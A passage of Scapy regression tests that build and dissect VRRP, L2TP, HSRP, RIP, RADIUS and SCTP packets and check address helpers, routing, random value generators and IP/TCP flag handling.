+VRRP in p and p[VRRP].chksum == 0x7afd
+
+= VRRP - chksums
+# VRRPv3
+p = Ether(src="00:00:5e:00:02:02",dst="01:00:5e:00:00:12")/IP(src="20.0.0.3", dst="224.0.0.18",ttl=255)/VRRPv3(priority=254,vrid=2,version=3,adv=1,addrlist=["20.0.1.2","20.0.1.3"])
+a = Ether(raw(p))
+assert a[VRRPv3].chksum == 0xb25e
+# VRRPv1
+p = Ether(src="00:00:5e:00:02:02",dst="01:00:5e:00:00:12")/IP(src="20.0.0.3", dst="224.0.0.18",ttl=255)/VRRP(priority=254,vrid=2,version=1,adv=1,addrlist=["20.0.1.2","20.0.1.3"])
+b = Ether(raw(p))
+assert b[VRRP].chksum == 0xc6f4
+
+############
+############
++ L2TP tests
+
+= L2TP - build
+s = raw(IP()/UDP()/L2TP())
+s == b'E\x00\x00"\x00\x01\x00\x00@\x11|\xc8\x7f\x00\x00\x01\x7f\x00\x00\x01\x06\xa5\x06\xa5\x00\x0e\xf4\x83\x00\x02\x00\x00\x00\x00'
+
+= L2TP - dissection
+p = IP(s)
+L2TP in p and len(p[L2TP]) == 6 and p.tunnel_id == 0 and p.session_id == 0 and p[UDP].chksum == 0xf483
+
+
+############
+############
++ HSRP tests
+
+= HSRP - build & dissection
+defaddr = conf.route.route('0.0.0.0')[1]
+pkt = IP(raw(IP()/UDP(dport=1985, sport=1985)/HSRP()/HSRPmd5()))
+assert pkt[IP].dst == "224.0.0.2" and pkt[UDP].sport == pkt[UDP].dport == 1985
+assert pkt[HSRP].opcode == 0 and pkt[HSRP].state == 16
+assert pkt[HSRPmd5].type == 4 and pkt[HSRPmd5].sourceip == defaddr
+
+
+############
+############
++ RIP tests
+
+= RIP - build
+s = raw(IP()/UDP(sport=520)/RIP()/RIPEntry()/RIPAuth(authtype=2, password="scapy"))
+s == b'E\x00\x00H\x00\x01\x00\x00@\x11|\xa2\x7f\x00\x00\x01\x7f\x00\x00\x01\x02\x08\x02\x08\x004\xae\x99\x01\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\xff\x00\x02scapy\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= RIP - dissection
+p = IP(s)
+RIPEntry in p and RIPAuth in p and p[RIPAuth].password.startswith(b"scapy")
+
+
+############
+############
++ RADIUS tests
+
+= IP/UDP/RADIUS - Build
+s = raw(IP()/UDP(sport=1812)/Radius(authenticator="scapy")/RadiusAttribute(value="scapy"))
+s == b'E\x00\x007\x00\x01\x00\x00@\x11|\xb3\x7f\x00\x00\x01\x7f\x00\x00\x01\x07\x14\x07\x15\x00#U\xb2\x01\x00\x00\x1bscapy\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x07scapy'
+
+= IP/UDP/RADIUS - Dissection
+p = IP(s)
+Radius in p and len(p[Radius].attributes) == 1 and p[Radius].attributes[0].value == b"scapy"
+
+= RADIUS - Access-Request - Dissection (1)
+s = b'\x01\xae\x01\x17>k\xd4\xc4\x19V\x0b*1\x99\xc8D\xea\xc2\x94Z\x01\x06leap\x06\x06\x00\x00\x00\x02\x1a\x1b\x00\x00\x00\t\x01\x15service-type=Framed\x0c\x06\x00\x00#\xee\x1e\x13AC-7E-8A-4E-E2-92\x1f\x1300-26-73-9E-0F-D3O\x0b\x02\x01\x00\t\x01leapP\x12U\xbc\x12\xcdM\x00\xf8\xdb4\xf1\x18r\xca_\x8c\xf6f\x02\x1a1\x00\x00\x00\t\x01+audit-session-id=0AC8090E0000001A0354CA00\x1a\x14\x00\x00\x00\t\x01\x0emethod=dot1x\x08\x06\xc0\xa8\n\xb9\x04\x06\xc0\xa8\n\x80\x1a\x1d\x00\x00\x00\t\x02\x17GigabitEthernet1/0/18W\x17GigabitEthernet1/0/18=\x06\x00\x00\x00\x0f\x05\x06\x00\x00\xc3\xc6'
+radius_packet = Radius(s)
+assert(radius_packet.id == 174)
+assert(radius_packet.len == 279)
+assert(radius_packet.authenticator == b'>k\xd4\xc4\x19V\x0b*1\x99\xc8D\xea\xc2\x94Z')
+assert(len(radius_packet.attributes) == 17)
+assert(radius_packet.attributes[0].type == 1)
+assert(type(radius_packet.attributes[0]) == RadiusAttribute)
+assert(radius_packet.attributes[0].len == 6)
+assert(radius_packet.attributes[0].value == b"leap")
+assert(radius_packet.attributes[1].type == 6)
+assert(type(radius_packet.attributes[1]) == RadiusAttr_Service_Type)
+assert(radius_packet.attributes[1].len == 6)
+assert(radius_packet.attributes[1].value == 2)
+assert(radius_packet.attributes[2].type == 26)
+assert(type(radius_packet.attributes[2]) == RadiusAttr_Vendor_Specific)
+assert(radius_packet.attributes[2].len == 27)
+assert(radius_packet.attributes[2].vendor_id == 9)
+assert(radius_packet.attributes[2].vendor_type == 1)
+assert(radius_packet.attributes[2].vendor_len == 21)
+assert(radius_packet.attributes[2].value == b"service-type=Framed")
+assert(radius_packet.attributes[6].type == 79)
+assert(type(radius_packet.attributes[6]) == RadiusAttr_EAP_Message)
+assert(radius_packet.attributes[6].len == 11)
+assert(radius_packet.attributes[6].value.haslayer(EAP))
+assert(radius_packet.attributes[6].value[EAP].code == 2)
+assert(radius_packet.attributes[6].value[EAP].id == 1)
+assert(radius_packet.attributes[6].value[EAP].len == 9)
+assert(radius_packet.attributes[6].value[EAP].type == 1)
+assert(hasattr(radius_packet.attributes[6].value[EAP], "identity"))
+assert(radius_packet.attributes[6].value[EAP].identity == b"leap")
+assert(radius_packet.attributes[7].type == 80)
+assert(type(radius_packet.attributes[7]) == RadiusAttr_Message_Authenticator)
+assert(radius_packet.attributes[7].len == 18)
+assert(radius_packet.attributes[7].value == b'U\xbc\x12\xcdM\x00\xf8\xdb4\xf1\x18r\xca_\x8c\xf6')
+assert(radius_packet.attributes[11].type == 8)
+assert(type(radius_packet.attributes[11]) == RadiusAttr_Framed_IP_Address)
+assert(radius_packet.attributes[11].len == 6)
+assert(radius_packet.attributes[11].value == '192.168.10.185')
+assert(radius_packet.attributes[16].type == 5)
+assert(type(radius_packet.attributes[16]) == RadiusAttr_NAS_Port)
+assert(radius_packet.attributes[16].len == 6)
+assert(radius_packet.attributes[16].value == 50118)
+
+= RADIUS - compute_message_authenticator()
+ram = radius_packet[RadiusAttr_Message_Authenticator]
+assert ram.compute_message_authenticator(radius_packet, b"dummy bytes", b"scapy") == b'\x19\xa4\x0e*Y4\xe0l?,\x94\x9f \xb8Jb'
+
+= RADIUS - Access-Challenge - Dissection (2)
+s = b'\x0b\xae\x00[\xc7\xae\xfc6\xa1=\xb5\x99&^\xdf=\xe9\x00\xa6\xe8\x12\rHello, leapO\x16\x01\x02\x00\x14\x11\x01\x00\x08\xb8\xc4\x1a4\x97x\xd3\x82leapP\x12\xd3\x12\x17\xa6\x0c.\x94\x85\x03]t\xd1\xdb\xd0\x13\x8c\x18\x12iQs\xf7iSb@k\x9d,\xa0\x99\x8ehO'
+radius_packet = Radius(s)
+assert(radius_packet.id == 174)
+assert(radius_packet.len == 91)
+assert(radius_packet.authenticator == b'\xc7\xae\xfc6\xa1=\xb5\x99&^\xdf=\xe9\x00\xa6\xe8')
+assert(len(radius_packet.attributes) == 4)
+assert(radius_packet.attributes[0].type == 18)
+assert(type(radius_packet.attributes[0]) == RadiusAttribute)
+assert(radius_packet.attributes[0].len == 13)
+assert(radius_packet.attributes[0].value == b"Hello, leap")
+assert(radius_packet.attributes[1].type == 79)
+assert(type(radius_packet.attributes[1]) == RadiusAttr_EAP_Message)
+assert(radius_packet.attributes[1].len == 22)
+assert(radius_packet.attributes[1][EAP].code == 1)
+assert(radius_packet.attributes[1][EAP].id == 2)
+assert(radius_packet.attributes[1][EAP].len == 20)
+assert(radius_packet.attributes[1][EAP].type == 17)
+assert(radius_packet.attributes[2].type == 80)
+assert(type(radius_packet.attributes[2]) == RadiusAttr_Message_Authenticator)
+assert(radius_packet.attributes[2].len == 18)
+assert(radius_packet.attributes[2].value == b'\xd3\x12\x17\xa6\x0c.\x94\x85\x03]t\xd1\xdb\xd0\x13\x8c')
+assert(radius_packet.attributes[3].type == 24)
+assert(type(radius_packet.attributes[3]) == RadiusAttr_State)
+assert(radius_packet.attributes[3].len == 18)
+assert(radius_packet.attributes[3].value == b'iQs\xf7iSb@k\x9d,\xa0\x99\x8ehO')
+
+= RADIUS - Access-Request - Dissection (3)
+s = b'\x01\xaf\x01DC\xbe!J\x08\xdf\xcf\x9f\x00v~,\xfb\x8e`\xc8\x01\x06leap\x06\x06\x00\x00\x00\x02\x1a\x1b\x00\x00\x00\t\x01\x15service-type=Framed\x0c\x06\x00\x00#\xee\x1e\x13AC-7E-8A-4E-E2-92\x1f\x1300-26-73-9E-0F-D3O&\x02\x02\x00$\x11\x01\x00\x18\rE\xc9\x92\xf6\x9ae\x04\xa2\x06\x13\x8f\x0b#\xf1\xc56\x8eU\xd9\x89\xe5\xa1)leapP\x12|\x1c\x9d[dv\x9c\x19\x96\xc6\xec\xb82\x8f\n f\x02\x1a1\x00\x00\x00\t\x01+audit-session-id=0AC8090E0000001A0354CA00\x1a\x14\x00\x00\x00\t\x01\x0emethod=dot1x\x08\x06\xc0\xa8\n\xb9\x04\x06\xc0\xa8\n\x80\x1a\x1d\x00\x00\x00\t\x02\x17GigabitEthernet1/0/18W\x17GigabitEthernet1/0/18=\x06\x00\x00\x00\x0f\x05\x06\x00\x00\xc3\xc6\x18\x12iQs\xf7iSb@k\x9d,\xa0\x99\x8ehO'
+radius_packet = Radius(s)
+assert(radius_packet.id == 175)
+assert(radius_packet.len == 324)
+assert(radius_packet.authenticator == b'C\xbe!J\x08\xdf\xcf\x9f\x00v~,\xfb\x8e`\xc8')
+assert(len(radius_packet.attributes) == 18)
+assert(radius_packet.attributes[0].type == 1)
+assert(type(radius_packet.attributes[0]) == RadiusAttribute)
+assert(radius_packet.attributes[0].len == 6)
+assert(radius_packet.attributes[0].value == b"leap")
+assert(radius_packet.attributes[1].type == 6)
+assert(type(radius_packet.attributes[1]) == RadiusAttr_Service_Type)
+assert(radius_packet.attributes[1].len == 6)
+assert(radius_packet.attributes[1].value == 2)
+assert(radius_packet.attributes[2].type == 26)
+assert(type(radius_packet.attributes[2]) == RadiusAttr_Vendor_Specific)
+assert(radius_packet.attributes[2].len == 27)
+assert(radius_packet.attributes[2].vendor_id == 9)
+assert(radius_packet.attributes[2].vendor_type == 1)
+assert(radius_packet.attributes[2].vendor_len == 21)
+assert(radius_packet.attributes[2].value == b"service-type=Framed")
+assert(radius_packet.attributes[6].type == 79)
+assert(type(radius_packet.attributes[6]) == RadiusAttr_EAP_Message)
+assert(radius_packet.attributes[6].len == 38)
+assert(radius_packet.attributes[6].value.haslayer(EAP))
+assert(radius_packet.attributes[6].value[EAP].code == 2)
+assert(radius_packet.attributes[6].value[EAP].id == 2)
+assert(radius_packet.attributes[6].value[EAP].len == 36)
+assert(radius_packet.attributes[6].value[EAP].type == 17)
+assert(radius_packet.attributes[7].type == 80)
+assert(type(radius_packet.attributes[7]) == RadiusAttr_Message_Authenticator)
+assert(radius_packet.attributes[7].len == 18)
+assert(radius_packet.attributes[7].value == b'|\x1c\x9d[dv\x9c\x19\x96\xc6\xec\xb82\x8f\n ')
+assert(radius_packet.attributes[11].type == 8)
+assert(type(radius_packet.attributes[11]) == RadiusAttr_Framed_IP_Address)
+assert(radius_packet.attributes[11].len == 6)
+assert(radius_packet.attributes[11].value == '192.168.10.185')
+assert(radius_packet.attributes[16].type == 5)
+assert(type(radius_packet.attributes[16]) == RadiusAttr_NAS_Port)
+assert(radius_packet.attributes[16].len == 6)
+assert(radius_packet.attributes[16].value == 50118)
+assert(radius_packet.attributes[17].type == 24)
+assert(type(radius_packet.attributes[17]) == RadiusAttr_State)
+assert(radius_packet.attributes[17].len == 18)
+assert(radius_packet.attributes[17].value == b'iQs\xf7iSb@k\x9d,\xa0\x99\x8ehO')
+
+= RADIUS - Access-Challenge - Dissection (4)
+s = b'\x0b\xaf\x00K\x82 \x95=\xfd\x80\x05 -l}\xab)\xa5kU\x12\rHello, leapO\x06\x03\x03\x00\x04P\x12l0\xb9\x8d\xca\xfc!\xf3\xa7\x08\x80\xe1\xf6}\x84\xff\x18\x12iQs\xf7hRb@k\x9d,\xa0\x99\x8ehO'
+radius_packet = Radius(s)
+assert(radius_packet.id == 175)
+assert(radius_packet.len == 75)
+assert(radius_packet.authenticator == b'\x82 \x95=\xfd\x80\x05 -l}\xab)\xa5kU')
+assert(len(radius_packet.attributes) == 4)
+assert(radius_packet.attributes[0].type == 18)
+assert(type(radius_packet.attributes[0]) == RadiusAttribute)
+assert(radius_packet.attributes[0].len == 13)
+assert(radius_packet.attributes[0].value == b"Hello, leap")
+assert(radius_packet.attributes[1].type == 79)
+assert(type(radius_packet.attributes[1]) == RadiusAttr_EAP_Message)
+assert(radius_packet.attributes[1].len == 6)
+assert(radius_packet.attributes[1][EAP].code == 3)
+assert(radius_packet.attributes[1][EAP].id == 3)
+assert(radius_packet.attributes[1][EAP].len == 4)
+assert(radius_packet.attributes[2].type == 80)
+assert(type(radius_packet.attributes[2]) == RadiusAttr_Message_Authenticator)
+assert(radius_packet.attributes[2].len == 18)
+assert(radius_packet.attributes[2].value == b'l0\xb9\x8d\xca\xfc!\xf3\xa7\x08\x80\xe1\xf6}\x84\xff')
+assert(radius_packet.attributes[3].type == 24)
+assert(type(radius_packet.attributes[3]) == RadiusAttr_State)
+assert(radius_packet.attributes[3].len == 18)
+assert(radius_packet.attributes[3].value == b'iQs\xf7hRb@k\x9d,\xa0\x99\x8ehO')
+
+= RADIUS - Response Authenticator computation
+s = b'\x01\xae\x01\x17>k\xd4\xc4\x19V\x0b*1\x99\xc8D\xea\xc2\x94Z\x01\x06leap\x06\x06\x00\x00\x00\x02\x1a\x1b\x00\x00\x00\t\x01\x15service-type=Framed\x0c\x06\x00\x00#\xee\x1e\x13AC-7E-8A-4E-E2-92\x1f\x1300-26-73-9E-0F-D3O\x0b\x02\x01\x00\t\x01leapP\x12U\xbc\x12\xcdM\x00\xf8\xdb4\xf1\x18r\xca_\x8c\xf6f\x02\x1a1\x00\x00\x00\t\x01+audit-session-id=0AC8090E0000001A0354CA00\x1a\x14\x00\x00\x00\t\x01\x0emethod=dot1x\x08\x06\xc0\xa8\n\xb9\x04\x06\xc0\xa8\n\x80\x1a\x1d\x00\x00\x00\t\x02\x17GigabitEthernet1/0/18W\x17GigabitEthernet1/0/18=\x06\x00\x00\x00\x0f\x05\x06\x00\x00\xc3\xc6'
+access_request = Radius(s)
+s = b'\x0b\xae\x00[\xc7\xae\xfc6\xa1=\xb5\x99&^\xdf=\xe9\x00\xa6\xe8\x12\rHello, leapO\x16\x01\x02\x00\x14\x11\x01\x00\x08\xb8\xc4\x1a4\x97x\xd3\x82leapP\x12\xd3\x12\x17\xa6\x0c.\x94\x85\x03]t\xd1\xdb\xd0\x13\x8c\x18\x12iQs\xf7iSb@k\x9d,\xa0\x99\x8ehO'
+access_challenge = Radius(s)
+access_challenge.compute_authenticator(access_request.authenticator, b"radiuskey") == access_challenge.authenticator
+
+= RADIUS - Layers (1)
+radius_attr = RadiusAttr_EAP_Message(value = EAP())
+assert(RadiusAttr_EAP_Message in radius_attr)
+assert(RadiusAttribute in radius_attr)
+type(radius_attr[RadiusAttribute])
+assert(type(radius_attr[RadiusAttribute]) == RadiusAttr_EAP_Message)
+assert(EAP in radius_attr.value)
+
+
+############
+############
++ Addresses generators
+
+= Net
+
+n1 = Net("192.168.0.0/31")
+[ip for ip in n1] == ["192.168.0.0", "192.168.0.1"]
+
+n2 = Net("192.168.0.*")
+len([ip for ip in n2]) == 256
+
+n3 = Net("192.168.0.1-5")
+len([ip for ip in n3]) == 5
+
+(n1 == n3) == False
+
+(n3 in n2) == True
+
+= Net using web address
+
+ip = IP(dst="www.google.com")
+n1 = ip.dst
+assert isinstance(n1, Net)
+assert n1.ip_regex.match(str(n1))
+ip.show()
+
+= OID
+
+oid = OID("1.2.3.4.5.6-8")
+len([ o for o in oid ]) == 3
+
+= Net6
+
+n1 = Net6("2001:db8::/127")
+len([ip for ip in n1]) == 2
+
+= Net6 using web address
+~ netaccess ipv6
+
+ip = IPv6(dst="www.google.com")
+n1 = ip.dst
+assert isinstance(n1, Net6)
+assert n1.ip_regex.match(str(n1))
+ip.show()
+
+############
+############
++ IPv6 helpers
+
+= in6_getLocalUniquePrefix()
+
+p = in6_getLocalUniquePrefix()
+len(inet_pton(socket.AF_INET6, p)) == 16 and p.startswith("fd")
+
+= Misc addresses manipulation functions
+
+teredoAddrExtractInfo("2001:0:0a0b:0c0d:0028:f508:f508:08f5") == ("10.11.12.13", 40, "10.247.247.10", 2807)
+
+ip6 = IP6Field("test", None)
+ip6.i2repr("", "2001:0:0a0b:0c0d:0028:f508:f508:08f5") == "2001:0:0a0b:0c0d:0028:f508:f508:08f5 [Teredo srv: 10.11.12.13 cli: 10.247.247.10:2807]"
+ip6.i2repr("", "2002:0102:0304::1") == "2002:0102:0304::1 [6to4 GW: 1.2.3.4]"
+
+in6_iseui64("fe80::bae8:58ff:fed4:e5f6") == True
+
+in6_isanycast("2001:db8::fdff:ffff:ffff:ff80") == True
+
+a = inet_pton(socket.AF_INET6, "2001:db8::2807")
+in6_xor(a, a) == b"\x00" * 16
+
+a = inet_pton(socket.AF_INET6, "fe80::bae8:58ff:fed4:e5f6")
+r = inet_ntop(socket.AF_INET6, in6_getnsma(a)) 
+r == "ff02::1:ffd4:e5f6"
+
+in6_isllsnmaddr(r) == True
+
+in6_isdocaddr("2001:db8::2807") == True
+
+in6_isaddrllallnodes("ff02::1") == True
+
+in6_isaddrllallservers("ff02::2") == True
+
+= in6_getscope()
+
+assert in6_getscope("2001:db8::2807") == IPV6_ADDR_GLOBAL
+assert in6_getscope("fec0::2807") == IPV6_ADDR_SITELOCAL
+assert in6_getscope("fe80::2807") == IPV6_ADDR_LINKLOCAL
+assert in6_getscope("ff02::2807") == IPV6_ADDR_LINKLOCAL
+assert in6_getscope("ff0e::2807") == IPV6_ADDR_GLOBAL
+assert in6_getscope("ff05::2807") == IPV6_ADDR_SITELOCAL
+assert in6_getscope("ff01::2807") == IPV6_ADDR_LOOPBACK
+assert in6_getscope("::1") == IPV6_ADDR_LOOPBACK
+
+= construct_source_candidate_set()
+
+dev_addresses = [('fe80::', IPV6_ADDR_LINKLOCAL, "linklocal"),('fec0::', IPV6_ADDR_SITELOCAL, "sitelocal"),('ff0e::', IPV6_ADDR_GLOBAL, "global")]
+
+assert construct_source_candidate_set("2001:db8::2807", 0, dev_addresses) == ["ff0e::"]
+assert construct_source_candidate_set("fec0::2807", 0, dev_addresses) == ["fec0::"]
+assert construct_source_candidate_set("fe80::2807", 0, dev_addresses) == ["fe80::"]
+assert construct_source_candidate_set("ff02::2807", 0, dev_addresses) == ["fe80::"]
+assert construct_source_candidate_set("ff0e::2807", 0, dev_addresses) == ["ff0e::"]
+assert construct_source_candidate_set("ff05::2807", 0, dev_addresses) == ["fec0::"]
+assert construct_source_candidate_set("ff01::2807", 0, dev_addresses) == ["::1"]
+assert construct_source_candidate_set("::", 0, dev_addresses) == ["ff0e::"]
+
+= inet_pton()
+
+from scapy.pton_ntop import _inet6_pton, inet_pton
+import socket
+
+ip6_bad_addrs = ["fe80::2e67:ef2d:7eca::ed8a",
+                 "fe80:1234:abcd::192.168.40.12:abcd",
+                 "fe80:1234:abcd::192.168.40",
+                 "fe80:1234:abcd::192.168.400.12",
+                 "1234:5678:9abc:def0:1234:5678:9abc:def0:",
+                 "1234:5678:9abc:def0:1234:5678:9abc:def0:1234"]
+for ip6 in ip6_bad_addrs:
+    rc = False
+    exc1 = None
+    try:
+        res1 = inet_pton(socket.AF_INET6, ip6)
+    except Exception as e:
+        rc = True
+        exc1 = e
+    assert rc
+    rc = False
+    try:
+        res2 = _inet6_pton(ip6)
+    except Exception as exc2:
+        rc = isinstance(exc2, type(exc1))
+    assert rc
+
+ip6_good_addrs = [("fe80:1234:abcd::192.168.40.12",
+                   b'\xfe\x80\x124\xab\xcd\x00\x00\x00\x00\x00\x00\xc0\xa8(\x0c'),
+                  ("fe80:1234:abcd::fe06",
+                   b'\xfe\x80\x124\xab\xcd\x00\x00\x00\x00\x00\x00\x00\x00\xfe\x06'),
+                  ("fe80::2e67:ef2d:7ece:ed8a",
+                   b'\xfe\x80\x00\x00\x00\x00\x00\x00.g\xef-~\xce\xed\x8a'),
+                  ("::ffff",
+                   b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff'),
+                  ("ffff::",
+                   b'\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'),
+                  ('::', b'\x00' * 16)]
+for ip6, res in ip6_good_addrs:
+    res1 = inet_pton(socket.AF_INET6, ip6)
+    res2 = _inet6_pton(ip6)
+    assert res == res1 == res2
+
+
+############
+############
++ Test Route class
+
+= make_route()
+
+r4 = Route()
+tmp_route = r4.make_route(host="10.12.13.14")
+(tmp_route[0], tmp_route[1], tmp_route[2]) == (168561934, 4294967295, '0.0.0.0')
+
+tmp_route = r4.make_route(net="10.12.13.0/24")
+(tmp_route[0], tmp_route[1], tmp_route[2]) == (168561920, 4294967040, '0.0.0.0')
+
+= add() & delt()
+
+r4 = Route()
+len_r4 = len(r4.routes)
+r4.add(net="192.168.1.0/24", gw="1.2.3.4")
+len(r4.routes) == len_r4 + 1
+r4.delt(net="192.168.1.0/24", gw="1.2.3.4")
+len(r4.routes) == len_r4
+
+= ifchange()
+
+r4.add(net="192.168.1.0/24", gw="1.2.3.4", dev=get_dummy_interface())
+r4.ifchange(get_dummy_interface(), "5.6.7.8")
+r4.routes[-1][4] == "5.6.7.8"
+
+= ifdel()
+
+r4.ifdel(get_dummy_interface())
+len(r4.routes) == len_r4
+
+= ifadd() & get_if_bcast()
+
+r4 = Route()
+len_r4 = len(r4.routes)
+
+r4.ifadd(get_dummy_interface(), "1.2.3.4/24")
+len(r4.routes) == len_r4 +1 
+
+r4.get_if_bcast(get_dummy_interface()) == "1.2.3.255"
+
+r4.ifdel(get_dummy_interface())
+len(r4.routes) == len_r4
+
+
+############
+############
++ Random objects
+
+= RandomEnumeration
+
+re = RandomEnumeration(0, 7, seed=0x2807, forever=False)
+[x for x in re] == ([3, 4, 2, 5, 1, 6, 0, 7] if six.PY2 else [5, 0, 2, 7, 6, 3, 1, 4])
+
+= RandIP6
+
+random.seed(0x2807)
+r6 = RandIP6()
+assert(r6 == ("d279:1205:e445:5a9f:db28:efc9:afd7:f594" if six.PY2 else
+              "240b:238f:b53f:b727:d0f9:bfc4:2007:e265"))
+
+random.seed(0x2807)
+r6 = RandIP6("2001:db8::-") 
+assert(r6 == ("2001:0db8::e445" if six.PY2 else "2001:0db8::b53f"))
+
+r6 = RandIP6("2001:db8::*")
+assert(r6 == ("2001:0db8::efc9" if six.PY2 else "2001:0db8::bfc4"))
+
+= RandMAC
+
+random.seed(0x2807)
+rm = RandMAC() 
+assert(rm == ("d2:12:e4:5a:db:ef" if six.PY2 else "24:23:b5:b7:d0:bf"))
+
+rm = RandMAC("00:01:02:03:04:0-7")
+assert(rm == ("00:01:02:03:04:05" if six.PY2 else "00:01:02:03:04:01"))
+
+
+= RandOID
+
+random.seed(0x2807)
+ro = RandOID()
+assert(ro == "7.222.44.194.276.116.320.6.84.97.31.5.25.20.13.84.104.18")
+
+ro = RandOID("1.2.3.*")
+assert(ro == "1.2.3.41")
+
+ro = RandOID("1.2.3.0-28")
+assert(ro == ("1.2.3.11" if six.PY2 else "1.2.3.12"))
+
+= RandRegExp
+
+random.seed(0x2807)
+re = RandRegExp("[g-v]* @? [0-9]{3} . (g|v)")
+bytes(re) == ('vmuvr @ 906 \x9e g' if six.PY2 else b'irrtv @ 517 \xc2\xb8 v')
+
+= Corrupted(Bytes|Bits)
+
+random.seed(0x2807)
+cb = CorruptedBytes("ABCDE", p=0.5)
+assert(sane(raw(cb)) in [".BCD)", "&BCDW"])
+
+cb = CorruptedBits("ABCDE", p=0.2)
+assert(sane(raw(cb)) in ["ECk@Y", "QB.P."])
+
+= RandEnumKeys
+~ not_pypy random_weird_py3
+random.seed(0x2807)
+rek = RandEnumKeys({'a': 1, 'b': 2, 'c': 3}, seed=0x2807)
+rek.enum.sort()
+assert(rek == ('c' if six.PY2 else 'a'))
+
+= RandSingNum
+~ not_pypy random_weird_py3
+random.seed(0x2807)
+rs = RandSingNum(-28, 7)
+assert(rs == (3 if six.PY2 else 2))
+assert(rs == (-27 if six.PY2 else -17))
+
+= Rand*
+random.seed(0x2807)
+rss = RandSingString()
+assert(rss == ("CON:" if six.PY2 else "foo.exe:"))
+
+random.seed(0x2807)
+rts = RandTermString(4, "scapy")
+assert(sane(raw(rts)) in ["...[scapy", "......scapy"])
+
+
+############
+############
++ Flags
+
+= IP flags
+~ IP
+
+pkt = IP(flags="MF")
+assert pkt.flags.MF
+assert not pkt.flags.DF
+assert not pkt.flags.evil
+assert repr(pkt.flags) == '<Flag 1 (MF)>'
+pkt.flags.MF = 0
+pkt.flags.DF = 1
+assert not pkt.flags.MF
+assert pkt.flags.DF
+assert not pkt.flags.evil
+assert repr(pkt.flags) == '<Flag 2 (DF)>'
+pkt.flags |= 'evil+MF'
+pkt.flags &= 'DF+MF'
+assert pkt.flags.MF
+assert pkt.flags.DF
+assert not pkt.flags.evil
+assert repr(pkt.flags) == '<Flag 3 (MF+DF)>'
+
+pkt = IP(flags=3)
+assert pkt.flags.MF
+assert pkt.flags.DF
+assert not pkt.flags.evil
+assert repr(pkt.flags) == '<Flag 3 (MF+DF)>'
+pkt.flags = 6
+assert not pkt.flags.MF
+assert pkt.flags.DF
+assert pkt.flags.evil
+assert repr(pkt.flags) == '<Flag 6 (DF+evil)>'
+
+assert len({IP().flags, IP().flags}) == 1
+
+= TCP flags
+~ TCP
+
+pkt = TCP(flags="SA")
+assert pkt.flags == 18
+assert pkt.flags.S
+assert pkt.flags.A
+assert pkt.flags.SA
+assert not any(getattr(pkt.flags, f) for f in 'FRPUECN')
+assert repr(pkt.flags) == '<Flag 18 (SA)>'
+pkt.flags.U = True
+pkt.flags.S = False
+assert pkt.flags.A
+assert pkt.flags.U
+assert pkt.flags.AU
+assert not any(getattr(pkt.flags, f) for f in 'FSRPECN')
+assert repr(pkt.flags) == '<Flag 48 (AU)>'
+pkt.flags &= 'SFA'
+pkt.flags |= 'P'
+assert pkt.flags.P
+assert pkt.flags.A
+assert pkt.flags.PA
+assert not any(getattr(pkt.flags, f) for f in 'FSRUECN')
+
+pkt = TCP(flags=56)
+assert all(getattr(pkt.flags, f) for f in 'PAU')
+assert pkt.flags.PAU
+assert not any(getattr(pkt.flags, f) for f in 'FSRECN')
+assert repr(pkt.flags) == '<Flag 56 (PAU)>'
+pkt.flags = 50
+assert all(getattr(pkt.flags, f) for f in 'SAU')
+assert pkt.flags.SAU
+assert not any(getattr(pkt.flags, f) for f in 'FRPECN')
+assert repr(pkt.flags) == '<Flag 50 (SAU)>'
+
+= Flag values mutation with .raw_packet_cache
+~ IP TCP
+
+pkt = IP(raw(IP(flags="MF")/TCP(flags="SA")))
+assert pkt.raw_packet_cache is not None
+assert pkt[TCP].raw_packet_cache is not None
+assert pkt.flags.MF
+assert not pkt.flags.DF
+assert not pkt.flags.evil
+assert repr(pkt.flags) == '<Flag 1 (MF)>'
+assert pkt[TCP].flags.S
+assert pkt[TCP].flags.A
+assert pkt[TCP].flags.SA
+assert not any(getattr(pkt[TCP].flags, f) for f in 'FRPUECN')
+assert repr(pkt[TCP].flags) == '<Flag 18 (SA)>'
+pkt.flags.MF = 0
+pkt.flags.DF = 1
+pkt[TCP].flags.U = True
+pkt[TCP].flags.S = False
+pkt = IP(raw(pkt))
+assert not pkt.flags.MF
+assert pkt.flags.DF
+assert not pkt.flags.evil
+assert repr(pkt.flags) == '<Flag 2 (DF)>'
+assert pkt[TCP].flags.A
+assert pkt[TCP].flags.U
+assert pkt[TCP].flags.AU
+assert not any(getattr(pkt[TCP].flags, f) for f in 'FSRPECN')
+assert repr(pkt[TCP].flags) == '<Flag 48 (AU)>'
+
+= Operations on flag values
+~ TCP
+
+p1, p2 = TCP(flags="SU"), TCP(flags="AU")
+assert (p1.flags & p2.flags).U
+assert not any(getattr(p1.flags & p2.flags, f) for f in 'FSRPAECN')
+assert all(getattr(p1.flags | p2.flags, f) for f in 'SAU')
+assert (p1.flags | p2.flags).SAU
+assert not any(getattr(p1.flags | p2.flags, f) for f in 'FRPECN')
+
+assert TCP(flags="SA").flags & TCP(flags="S").flags == TCP(flags="S").flags
+assert TCP(flags="SA").flags | TCP(flags="S").flags == TCP(flags="SA").flags
+
+= Using tuples and lists as flag values
+~ IP TCP
+
+plist = PacketList(list(IP()/TCP(flags=(0, 2**9 - 1))))
+assert [p[TCP].flags for p in plist] == [x for x in range(512)]
+
+plist = PacketList(list(IP()/TCP(flags=["S", "SA", "A"])))
+assert [p[TCP].flags for p in plist] == [2, 18, 16]
+
+
+############
+############
++ SCTP
+
+= SCTP - Chunk Init - build
+s = raw(IP()/SCTP()/SCTPChunkInit(params=[SCTPChunkParamIPv4Addr()]))
+s == b'E\x00\x00<\x00\x01\x00\x00@\x84|;\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00@,\x0b_\x01\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x08\x7f\x00\x00\x01'
+
+= SCTP - Chunk Init - dissection
+p = IP(s)
